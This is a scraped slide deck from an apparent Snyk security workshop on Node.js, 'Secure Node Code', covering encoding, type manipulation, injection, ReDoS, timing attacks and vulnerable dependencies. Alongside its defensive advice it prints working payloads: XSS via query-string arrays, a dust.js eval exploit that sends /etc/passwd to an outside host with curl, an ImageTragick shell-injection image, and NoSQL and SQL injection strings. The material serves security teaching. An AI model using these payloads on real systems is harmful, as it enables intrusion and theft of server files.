Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
snyk.io
Secure Node Code
Guy Podjarny
@guypod
Danny Grander
@grander
snyk.io
Guy
• Guy Podjarny, @guypod on Twitter
• CEO & Co-founder at Snyk
• History:
• Cyber Security part of Israel Defen...
snyk.io
Danny
• Danny Grander, @grander on Twitter
• Chief Research Officer & Co-founder at Snyk
• History:
• Cyber Security...
snyk.io
Agenda
• Intro & Setup
• Insecure Code
• Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Depende...
snyk.io
Setup
• Goof: https://github.com/Snyk/goof
• Exploits under https://github.com/Snyk/goof/exploits/
• Optional: ins...
snyk.io
Node.js
snyk.io
3.5M Node.js Developers
growing 100% year over year
snyk.io
JS top used language
snyk.io
npm growth
snyk.io
Growing in Enterprise
snyk.io
Key Strength 1:

Same lang on client & server
snyk.io
Key Strength 2:

Naturally scalable
snyk.io
Key Strength 3:

Easy & fast to start
snyk.io
Node.js foundation
Some history…
snyk.io
Node.js Security
snyk.io
Good Node.js core security
snyk.io
Security a top priority
for Node.js foundation
snyk.io
Low Ecosystem

Security Awareness
outside of core
snyk.io
Most vulns have no CVE
snyk.io
Not enough research
At least we have ChALkeR…
snyk.io
Not enough 

security dialogue
hence this session!
snyk.io
Agenda
• Intro & Setup
• Insecure Code
• Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Depende...
snyk.io
Encoding
snyk.io
URL Encoding
snyk.io
HTML Entities
snyk.io
Insecure Default Config
snyk.io
Data URI
snyk.io
Template engine escaping
snyk.io
{{{val}}} vs {{val}}
snyk.io
Crazy Encoding
snyk.io
How to defend?
snyk.io
It’s complicated.
Lots of variants, ever shifting
snyk.io
Use Frameworks
Not perfect, but typically better than custom code
snyk.io
Frameworks are generic.

You can be specific.
Use application knowledge to explicitly specify what’s allowed
snyk.io
Critique default config
And use the right framework functions
snyk.io
Building your own?

Consider all encodings
Missing one variant is all it takes…
snyk.io
Agenda
• Intro & Setup
• Insecure Code
• Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Depende...
snyk.io
Questions?
snyk.io
Type Manipulation
snyk.io
qs: query string parser
snyk.io
28M downloads/month
Not officially part of Node, but de-facto standard
snyk.io
qs.parse(‘a=foo’)
{ a: “foo”}
snyk.io
qs.parse(‘a=foo&b=bar’)
{ a: “foo”, b: “bar”}
snyk.io
qs.parse(‘a=foo&a=bar’)
?
snyk.io
qs.parse(‘a=foo&a=bar’)
{ a: [ “foo”, “bar”]}
snyk.io
qs.parse(‘a[]=foo’)
{ a: [ “foo”]}
snyk.io
qs.parse(‘a[1]=foo&a[2]=bar’)
{ a: [ “foo”, “bar”]}
snyk.io
qs.parse(‘a[1]=foo&a[8]=bar’)
{ a: [ “foo”, “bar”]}
snyk.io
Input Type not guaranteed
But that’s not always intuitive…
snyk.io
Example: Nunjucks
Client Side JS execution
snyk.io
Mozilla templating library
3,500 stars, 320 forks, 150k downloads/month
snyk.io
Sanitization Logic
nunjucks.renderString(
'Hello {{ username }}’,
{username: '<s>Matt</s>' });
Hello &lt;s&gt;Matt...
snyk.io
Sanitization Code
escape: function(str) {
if(typeof str === 'string') {
return r.markSafe(lib.escape(str));
}
retu...
snyk.io
Sanitization Workaround
nunjucks.renderString(
'Hello {{ username }}’,
{username: [‘<s>Matt</s>’] });
Hello <s>Mat...
snyk.io
qs + array = XSS
nunjucks.renderString(
'Hello {{ username }}’,
{username: [‘<script>alert(1)</script>’] });
XSS: ...
snyk.io
Fixed Sanitization Code
escape: function(str) {
if(str == null) str = '';
if(str instanceof r.SafeString) {
return...
snyk.io
Example: dust.js
Server side JS execution
snyk.io
LinkedIn Templating Library
2,400 stars, 406 forks, 77k downloads/month
snyk.io
Discovered on Paypal
Reported responsibly: https://artsploit.blogspot.co.il/2016/08/pprce2.html
snyk.io
“if”uses eval
"if": function( chunk, context, bodies, params ){
var body = bodies.block,
skip = bodies['else'];
if...
snyk.io
query to eval examples
http://host/navigation?device=xxx eval("'xxx' == 'desktop'");
http://host/navigation?device...
snyk.io
Sanitization
var HCHARS = /[&<>"']/,
AMP = /&/g,
LT = /</g,
GT = />/g,
QUOT = /"/g,
SQUOT = /'/g;
dust.escapeHtml ...
snyk.io
arrays not sanitized
http://host/navigation?device[]=x' eval(“'x'' == 'desktop'");
http://host/navigation?device[]...
snyk.io
Paypal Exploit
http://host/navigation?device[]=x&device[]=y'-
require('child_process').exec('curl+-F+"x=`cat+/etc/...
snyk.io
JSON
snyk.io
Example: mongoose
Let’s see this on Goof
snyk.io
Buffer tripped

many top packages
mongoose, request, sequelize, ws…
snyk.io
Dealing with Buffer
snyk.io
Buffer.allocSafe()

zeroes memory*
Buffer.allocUnsafe()doesn’t
* Requires Node.js 5 or newer
snyk.io
Default Buffer remains
Deprecated in Node 7
(https://nodejs.org/api/buffer.html)
snyk.io
-- zero-fill-buffers:

makes Buffer(int)zero mem
Node command line flag.
May break packages…
snyk.io
How to defend?
snyk.io
Validate type
Don’t assume you know what it is
snyk.io
Use Buffer.allocSafe()
snyk.io
Don’t use eval()
Especially for user-provided code
snyk.io
Agenda
• Intro & Setup
• Insecure Code
• Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Depende...
snyk.io
Questions?
snyk.io
Break!
snyk.io
Agenda
• Intro & Setup
• Insecure Code
• Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Depende...
snyk.io
Injection
snyk.io
Shell Injection
snyk.io
Goof Enhancement: 

Images!
snyk.io
Vuln cause 1: 

string concatenation
snyk.io
Vuln cause 2:

exec()
snyk.io
exec()

vs

spawn()/execFile()
snyk.io
Example: git-ls-remote
snyk.io
Not all shell injections

are in your code…
snyk.io
ImageTragick
• ImageMagick:

popular image manipulation binary/library
• May 2016: Multiple RCE vulns disclosed
• ...
snyk.io
Exploit.png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://tinyurl.com/favorites.gif"|touch "./public/t...
snyk.io
Exploitable on Goof
For you to try out at home…
snyk.io
Had no fix for a long while!
Required limiting in code
(e.g. https://www.npmjs.com/package/imagemagick-safe)
snyk.io
OSS Binaries are 

a part of your app
Unpleasant, but true
snyk.io
How to defend?
snyk.io
Avoid exec()
Use execFile()or spawn()instead
snyk.io
Track vulnerable binaries
More on that later…
snyk.io
NoSQL Injection
snyk.io
Classic SQL Injection
SELECT
*
FROM
users
WHERE
username = '$username'AND

password = '$password'
snyk.io
username = ‘ or 1=1—
SELECT
*
FROM
users
WHERE
username = ‘’or 1=1 --’AND password = 'bla'
snyk.io
Goof’s admin check
db.users.find(
{username: req.body.username,
password: req.body.password},
function (err, users...
snyk.io
Exploits!
snyk.io
Legitimate Use
db.users.find(
{username: "admin",
password: "SuperSecretPass"},
function (err, users) {
// TODO: h...
snyk.io
NoSQL Injection
db.users.find(
{username: "admin",
password: {"$gt":""}},
function (err, users) {
// TODO: handle ...
snyk.io
MongoDB Queries
https://docs.mongodb.com/v3.2/tutorial/query-documents/
snyk.io
How to defend?
snyk.io
Validate Type
Sound familiar?
snyk.io
Agenda
• Intro & Setup
• Insecure Code
• Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Depende...
snyk.io
Questions?
snyk.io
Event Loop
snyk.io
Node = JavaScript = 1 thread
snyk.io
JS scales through events
as opposed to threads
snyk.io
Blocking actions 

natively async
I/O, system calls, etc.
snyk.io
Scales great!

Until a function goes wild…
Infinite loops, deep recursion, long-running algorithms …
snyk.io
Which Algorithms 

are used most often?
snyk.io
Regular Expression

Denial of Service

(ReDoS)
snyk.io
Example: ms
snyk.io
Long String + 

Non-Linear Compute = 

Outage
snyk.io
Example: moment
snyk.io
Catastrophic Backtracking
snyk.io
Regexp: /A(B|C+)*DE?/
snyk.io
Regexp: /A(B|C+)*DE?/
“ACCCCCCCCCCCCCCCCCCCCCCCCCCC”: 0.9 Seconds

“ACCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 1.8 Seconds
“A...
snyk.io
Short String + 

Very Non-Linear Compute = 

Outage
snyk.io
How To Defend?
snyk.io
Prevent long running
algorithms
snyk.io
Avoid nested 

unlimited length groups
More reading: http://www.regular-expressions.info/catastrophic.html
snyk.io
Contain regexp input length
snyk.io
Limit execution time
for your own algorithms
snyk.io
Split & yield thread
during potentially long-running algorithms
snyk.io
Timing Attack
snyk.io
A bit more esoteric…
snyk.io
What’s a Timing Attack?
snyk.io
Spot the Problem
function isAdminToken(token)
{
var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba";
if (token...
snyk.io
Spot the Problem
function isAdminToken(token)
{
var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba";
if (token...
snyk.io
Worst case: 

Enumerate token per char
snyk.io
Constant Time Comparison
function isAdminToken(token)
{
var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba";
v...
snyk.io
Constant Time Comparison
var scmp = require('scmp');
function isAdminToken(token)
{
var ADMIN_UUID = "28ec1f1c-a87...
snyk.io
Complex Timing Attacks
snyk.io
How To Defend?
snyk.io
Use constant 

time processing
to avoid leaking sensitive information
snyk.io
Agenda
• Intro & Setup
• Insecure Code
• Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Depende...
snyk.io
Questions?
snyk.io
Dependencies
snyk.io
Vulnerable Binaries
snyk.io
Track your servers well
And the binaries within them
snyk.io
Update quickly & frequently
snyk.io
Prevent exploits via code
e.g. imagemagick-safe
snyk.io
Vulnerable Packages
snyk.io
npm is a core part of

developing in Node.js
snyk.io


>350,000 packages 

~6B downloads/month
>65,000 publishers
npm usage 

Has Exploded
snyk.io
Your App
snyk.io
Your Code
Your App
snyk.io
Each Dependency Is A
Security Risk
as we’ve just seen…
snyk.io
~14% 

of npm Packages Carry 

Known Vulnerabilities
~83% of Snyk users found vulns in their apps
Source: Snyk dat...
snyk.io
How do I protect myself?
snyk.io
Back to Goof…
snyk.io
Securing OSS Packages
• Find vulnerabilities
• Be sure to test ALL your applications
• Fix vulnerabilities
• Upgra...
snyk.io
Not just Node/npm
Impacts Open Source Packages, wherever they are
snyk.io
Agenda
• Intro & Setup
• Insecure Code
• Encodings
• Type Manipulation
• Injection
• Event Loop
• Insecure Depende...
snyk.io
There’s A LOT we didn’t cover
• HTTPS
• Security Headers
• Common misconfigurations
• Node.js runtime security
• Co...
snyk.io
Summary
• Node.js is awesome, and here to stay
• Security dialogue too low, needs your attention
• Educate & bewar...
snyk.io
Node.js Is Awesome
snyk.io
Node.js Is Awesome
Please Enjoy Responsibly
Questions?
Guy Podjarny
@guypod
Danny Grander
@grander
Upcoming SlideShare
Loading in …5
×

Secure Node Code (workshop, O'Reilly Security)

675 views

Published on

Some of the very things that make JavaScript awesome can also leave it exposed. Guy Podjarny and Danny Grander walk through some sample security flaws unique to Node’s async nature and surrounding ecosystem (or especially relevant to it)—e.g., memory leaks via the buffer object, ReDoS and other algorithmic DoS attacks (which impact Node due to its single-threaded nature), and timing attacks leveraging the EventLoop—and show how these could occur in your own code or in npm dependencies.

Published in: Software

Secure Node Code (workshop, O'Reilly Security)

  1. 1. snyk.io Secure Node Code Guy Podjarny @guypod Danny Grander @grander
  2. 2. snyk.io Guy • Guy Podjarny, @guypod on Twitter • CEO & Co-founder at Snyk • History: • Cyber Security part of Israel Defense Forces • First Web App Firewall (AppShield), Dynamic/Static Tester (AppScan) • Security: Worked in Sanctum -> Watchfire -> IBM • Performance: Founded Blaze -> CTO @Akamai • O’Reilly author, speaker
  3. 3. snyk.io Danny • Danny Grander, @grander on Twitter • Chief Research Officer & Co-founder at Snyk • History: • Cyber Security part of Israel Defense Forces • Startup work on embedded security and crypto • CTO at Gita, security consultancy (acquired by Verint) • Speaker, blogger
  4. 4. snyk.io Agenda • Intro & Setup • Insecure Code • Encodings • Type Manipulation • Injection • Event Loop • Insecure Dependencies • Summary
  5. 5. snyk.io Setup • Goof: https://github.com/Snyk/goof • Exploits under https://github.com/Snyk/goof/exploits/ • Optional: install locally (requires Node & npm)
 $ git clone https://github.com/Snyk/goof
 $ cd goof
 $ npm install
 $ npm start # will run on localhost:3001
  6. 6. snyk.io Node.js
  7. 7. snyk.io 3.5M Node.js Developers growing 100% year over year
  8. 8. snyk.io JS top used language
  9. 9. snyk.io npm growth
  10. 10. snyk.io Growing in Enterprise
  11. 11. snyk.io Key Strength 1:
 Same lang on client & server
  12. 12. snyk.io Key Strength 2:
 Naturally scalable
  13. 13. snyk.io Key Strength 3:
 Easy & fast to start
  14. 14. snyk.io Node.js foundation Some history…
  15. 15. snyk.io Node.js Security
  16. 16. snyk.io Good Node.js core security
  17. 17. snyk.io Security a top priority for Node.js foundation
  18. 18. snyk.io Low Ecosystem
 Security Awareness outside of core
  19. 19. snyk.io Most vulns have no CVE
  20. 20. snyk.io Not enough research At least we have ChALkeR…
  21. 21. snyk.io Not enough 
 security dialogue hence this session!
  22. 22. snyk.io Agenda • Intro & Setup • Insecure Code • Encodings • Type Manipulation • Injection • Event Loop • Insecure Dependencies • Summary
  23. 23. snyk.io Encoding
  24. 24. snyk.io URL Encoding
  25. 25. snyk.io HTML Entities
  26. 26. snyk.io Insecure Default Config
  27. 27. snyk.io Data URI
  28. 28. snyk.io Template engine escaping
  29. 29. snyk.io {{{val}}} vs {{val}}
  30. 30. snyk.io Crazy Encoding
  31. 31. snyk.io How to defend?
  32. 32. snyk.io It’s complicated. Lots of variants, ever shifting
  33. 33. snyk.io Use Frameworks Not perfect, but typically better than custom code
  34. 34. snyk.io Frameworks are generic.
 You can be specific. Use application knowledge to explicitly specify what’s allowed
  35. 35. snyk.io Critique default config And use the right framework functions
  36. 36. snyk.io Building your own?
 Consider all encodings Missing one variant is all it takes…
  37. 37. snyk.io Agenda • Intro & Setup • Insecure Code • Encodings • Type Manipulation • Injection • Event Loop • Insecure Dependencies • Summary
  38. 38. snyk.io Questions?
  39. 39. snyk.io Type Manipulation
  40. 40. snyk.io qs: query string parser
  41. 41. snyk.io 28M downloads/month Not officially part of Node, but de-facto standard
  42. 42. snyk.io qs.parse(‘a=foo’) { a: “foo”}
  43. 43. snyk.io qs.parse(‘a=foo&b=bar’) { a: “foo”, b: “bar”}
  44. 44. snyk.io qs.parse(‘a=foo&a=bar’) ?
  45. 45. snyk.io qs.parse(‘a=foo&a=bar’) { a: [ “foo”, “bar”]}
  46. 46. snyk.io qs.parse(‘a[]=foo’) { a: [ “foo”]}
  47. 47. snyk.io qs.parse(‘a[1]=foo&a[2]=bar’) { a: [ “foo”, “bar”]}
  48. 48. snyk.io qs.parse(‘a[1]=foo&a[8]=bar’) { a: [ “foo”, “bar”]}
  49. 49. snyk.io Input Type not guaranteed But that’s not always intuitive…
  50. 50. snyk.io Example: Nunjucks Client Side JS execution
  51. 51. snyk.io Mozilla templating library 3,500 stars, 320 forks, 150k downloads/month
  52. 52. snyk.io Sanitization Logic nunjucks.renderString( 'Hello {{ username }}’, {username: '<s>Matt</s>' }); Hello &lt;s&gt;Matt&lt;s&gt;
  53. 53. snyk.io Sanitization Code escape: function(str) { if(typeof str === 'string') { return r.markSafe(lib.escape(str)); } return str; }
  54. 54. snyk.io Sanitization Workaround nunjucks.renderString( 'Hello {{ username }}’, {username: [‘<s>Matt</s>’] }); Hello <s>Matt</s>
  55. 55. snyk.io qs + array = XSS nunjucks.renderString( 'Hello {{ username }}’, {username: [‘<script>alert(1)</script>’] }); XSS: <script>alert(1)</script>matt http://host/?name[]=<script>alert(1)</script>matt
  56. 56. snyk.io Fixed Sanitization Code escape: function(str) { if(str == null) str = ''; if(str instanceof r.SafeString) { return str; } return r.markSafe(lib.escape(str.toString())); }, Always returns a string
  57. 57. snyk.io Example: dust.js Server side JS execution
  58. 58. snyk.io LinkedIn Templating Library 2,400 stars, 406 forks, 77k downloads/month
  59. 59. snyk.io Discovered on Paypal Reported responsibly: https://artsploit.blogspot.co.il/2016/08/pprce2.html
  60. 60. snyk.io “if”uses eval "if": function( chunk, context, bodies, params ){ var body = bodies.block, skip = bodies['else']; if( params && params.cond){ var cond = params.cond; cond = dust.helpers.tap(cond, chunk, context); // eval expressions with given dust references if(eval(cond)){ if(body) { return chunk.render( bodies.block, context ); } else { _log("Missing body block in the if helper!"); return chunk; } }
  61. 61. snyk.io query to eval examples http://host/navigation?device=xxx eval("'xxx' == 'desktop'"); http://host/navigation?device=mobile eval("'mobile' == 'desktop'"); http://host/navigation?device=x' eval(“‘x'' == 'desktop'");
  62. 62. snyk.io Sanitization var HCHARS = /[&<>"']/, AMP = /&/g, LT = /</g, GT = />/g, QUOT = /"/g, SQUOT = /'/g; dust.escapeHtml = function(s) { if (typeof s === 'string') { if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&amp;').replace(LT,'&lt;').
 replace(GT,'&gt;').replace(QUOT,'&quot;').
 replace(SQUOT, '''); } return s; };
  63. 63. snyk.io arrays not sanitized http://host/navigation?device[]=x' eval(“'x'' == 'desktop'"); http://host/navigation?device[]=x eval("'x' == 'desktop'");
  64. 64. snyk.io Paypal Exploit http://host/navigation?device[]=x&device[]=y'- require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+artsploit.com')-' eval("'xy'-require('child_process').exec('curl -F "x=`cat /etc/passwd`" artsploit.com')-'' == 'desktop'");
  65. 65. snyk.io JSON
  66. 66. snyk.io Example: mongoose Let’s see this on Goof
  67. 67. snyk.io Buffer tripped
 many top packages mongoose, request, sequelize, ws…
  68. 68. snyk.io Dealing with Buffer
  69. 69. snyk.io Buffer.allocSafe()
 zeroes memory* Buffer.allocUnsafe()doesn’t * Requires Node.js 5 or newer
  70. 70. snyk.io Default Buffer remains Deprecated in Node 7 (https://nodejs.org/api/buffer.html)
  71. 71. snyk.io -- zero-fill-buffers:
 makes Buffer(int)zero mem Node command line flag. May break packages…
  72. 72. snyk.io How to defend?
  73. 73. snyk.io Validate type Don’t assume you know what it is
  74. 74. snyk.io Use Buffer.allocSafe()
  75. 75. snyk.io Don’t use eval() Especially for user-provided code
  76. 76. snyk.io Agenda • Intro & Setup • Insecure Code • Encodings • Type Manipulation • Injection • Event Loop • Insecure Dependencies • Summary
  77. 77. snyk.io Questions?
  78. 78. snyk.io Break!
  79. 79. snyk.io Agenda • Intro & Setup • Insecure Code • Encodings • Type Manipulation • Injection • Event Loop • Insecure Dependencies • Summary
  80. 80. snyk.io Injection
  81. 81. snyk.io Shell Injection
  82. 82. snyk.io Goof Enhancement: 
 Images!
  83. 83. snyk.io Vuln cause 1: 
 string concatenation
  84. 84. snyk.io Vuln cause 2:
 exec()
  85. 85. snyk.io exec()
 vs
 spawn()/execFile()
  86. 86. snyk.io Example: git-ls-remote
  87. 87. snyk.io Not all shell injections
 are in your code…
  88. 88. snyk.io ImageTragick • ImageMagick:
 popular image manipulation binary/library • May 2016: Multiple RCE vulns disclosed • Trivial to exploit, highly severe, took >1 week to fix • Primary vulnerability: • Images are declared as one format, but auto-detected as SVG • SVG processing holds multiple remote command execution
  89. 89. snyk.io Exploit.png push graphic-context viewbox 0 0 640 480 fill 'url(https://tinyurl.com/favorites.gif"|touch "./public/tragick)' pop graphic-context
  90. 90. snyk.io Exploitable on Goof For you to try out at home…
  91. 91. snyk.io Had no fix for a long while! Required limiting in code (e.g. https://www.npmjs.com/package/imagemagick-safe)
  92. 92. snyk.io OSS Binaries are 
 a part of your app Unpleasant, but true
  93. 93. snyk.io How to defend?
  94. 94. snyk.io Avoid exec() Use execFile()or spawn()instead
  95. 95. snyk.io Track vulnerable binaries More on that later…
  96. 96. snyk.io NoSQL Injection
  97. 97. snyk.io Classic SQL Injection SELECT * FROM users WHERE username = '$username'AND
 password = '$password'
  98. 98. snyk.io username = ‘ or 1=1— SELECT * FROM users WHERE username = ‘’or 1=1 --’AND password = 'bla'
  99. 99. snyk.io Goof’s admin check db.users.find( {username: req.body.username, password: req.body.password}, function (err, users) { // TODO: handle the rest } );
  100. 100. snyk.io Exploits!
  101. 101. snyk.io Legitimate Use db.users.find( {username: "admin", password: "SuperSecretPass"}, function (err, users) { // TODO: handle the rest } );
  102. 102. snyk.io NoSQL Injection db.users.find( {username: "admin", password: {"$gt":""}}, function (err, users) { // TODO: handle the rest } );
  103. 103. snyk.io MongoDB Queries https://docs.mongodb.com/v3.2/tutorial/query-documents/
  104. 104. snyk.io How to defend?
  105. 105. snyk.io Validate Type Sound familiar?
  106. 106. snyk.io Agenda • Intro & Setup • Insecure Code • Encodings • Type Manipulation • Injection • Event Loop • Insecure Dependencies • Summary
  107. 107. snyk.io Questions?
  108. 108. snyk.io Event Loop
  109. 109. snyk.io Node = JavaScript = 1 thread
  110. 110. snyk.io JS scales through events as opposed to threads
  111. 111. snyk.io Blocking actions 
 natively async I/O, system calls, etc.
  112. 112. snyk.io Scales great!
 Until a function goes wild… Infinite loops, deep recursion, long-running algorithms …
  113. 113. snyk.io Which Algorithms 
 are used most often?
  114. 114. snyk.io Regular Expression
 Denial of Service
 (ReDoS)
  115. 115. snyk.io Example: ms
  116. 116. snyk.io Long String + 
 Non-Linear Compute = 
 Outage
  117. 117. snyk.io Example: moment
  118. 118. snyk.io Catastrophic Backtracking
  119. 119. snyk.io Regexp: /A(B|C+)*DE?/
  120. 120. snyk.io Regexp: /A(B|C+)*DE?/ “ACCCCCCCCCCCCCCCCCCCCCCCCCCC”: 0.9 Seconds
 “ACCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 1.8 Seconds “ACCCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 3.5 Seconds “ACCCCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 7.0 Seconds
  121. 121. snyk.io Short String + 
 Very Non-Linear Compute = 
 Outage
  122. 122. snyk.io How To Defend?
  123. 123. snyk.io Prevent long running algorithms
  124. 124. snyk.io Avoid nested 
 unlimited length groups More reading: http://www.regular-expressions.info/catastrophic.html
  125. 125. snyk.io Contain regexp input length
  126. 126. snyk.io Limit execution time for your own algorithms
  127. 127. snyk.io Split & yield thread during potentially long-running algorithms
  128. 128. snyk.io Timing Attack
  129. 129. snyk.io A bit more esoteric…
  130. 130. snyk.io What’s a Timing Attack?
  131. 131. snyk.io Spot the Problem function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; }
  132. 132. snyk.io Spot the Problem function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; } Fails faster if first 
 chars mismatch
  133. 133. snyk.io Worst case: 
 Enumerate token per char
  134. 134. snyk.io Constant Time Comparison function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; var mismatch = 0; for (var i = 0; i < token.length; ++i) { mismatch |= (token.charCodeAt(i) ^ ADMIN_UUID.charCodeAt(i)); } return mismatch; }
  135. 135. snyk.io Constant Time Comparison var scmp = require('scmp'); function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; return scmp(token, admin); }
  136. 136. snyk.io Complex Timing Attacks
  137. 137. snyk.io How To Defend?
  138. 138. snyk.io Use constant 
 time processing to avoid leaking sensitive information
  139. 139. snyk.io Agenda • Intro & Setup • Insecure Code • Encodings • Type Manipulation • Injection • Event Loop • Insecure Dependencies • Summary
  140. 140. snyk.io Questions?
  141. 141. snyk.io Dependencies
  142. 142. snyk.io Vulnerable Binaries
  143. 143. snyk.io Track your servers well And the binaries within them
  144. 144. snyk.io Update quickly & frequently
  145. 145. snyk.io Prevent exploits via code e.g. imagemagick-safe
  146. 146. snyk.io Vulnerable Packages
  147. 147. snyk.io npm is a core part of
 developing in Node.js
  148. 148. snyk.io 
 >350,000 packages 
 ~6B downloads/month >65,000 publishers npm usage 
 Has Exploded
  149. 149. snyk.io Your App
  150. 150. snyk.io Your Code Your App
  151. 151. snyk.io Each Dependency Is A Security Risk as we’ve just seen…
  152. 152. snyk.io ~14% 
 of npm Packages Carry 
 Known Vulnerabilities ~83% of Snyk users found vulns in their apps Source: Snyk data, Oct 2016
  153. 153. snyk.io How do I protect myself?
  154. 154. snyk.io Back to Goof…
  155. 155. snyk.io Securing OSS Packages • Find vulnerabilities • Be sure to test ALL your applications • Fix vulnerabilities • Upgrade when possible, patch when needed • Prevent adding vulnerable module • Break the build, test in pull requests • Respond quickly to new vulns • Track vuln DBs, or use Snyk! </shameless plug>
  156. 156. snyk.io Not just Node/npm Impacts Open Source Packages, wherever they are
  157. 157. snyk.io Agenda • Intro & Setup • Insecure Code • Encodings • Type Manipulation • Injection • Event Loop • Insecure Dependencies • Summary
  158. 158. snyk.io There’s A LOT we didn’t cover • HTTPS • Security Headers • Common misconfigurations • Node.js runtime security • Continous Security in CI/CD • Happy to take questions on those…
  159. 159. snyk.io Summary • Node.js is awesome, and here to stay • Security dialogue too low, needs your attention • Educate & beware insecure code • Both Node.js specific and general app sec issues • Setup tools to handle insecure dependencies • Continuously, and across all projects
  160. 160. snyk.io Node.js Is Awesome
  161. 161. snyk.io Node.js Is Awesome Please Enjoy Responsibly Questions? Guy Podjarny @guypod Danny Grander @grander

×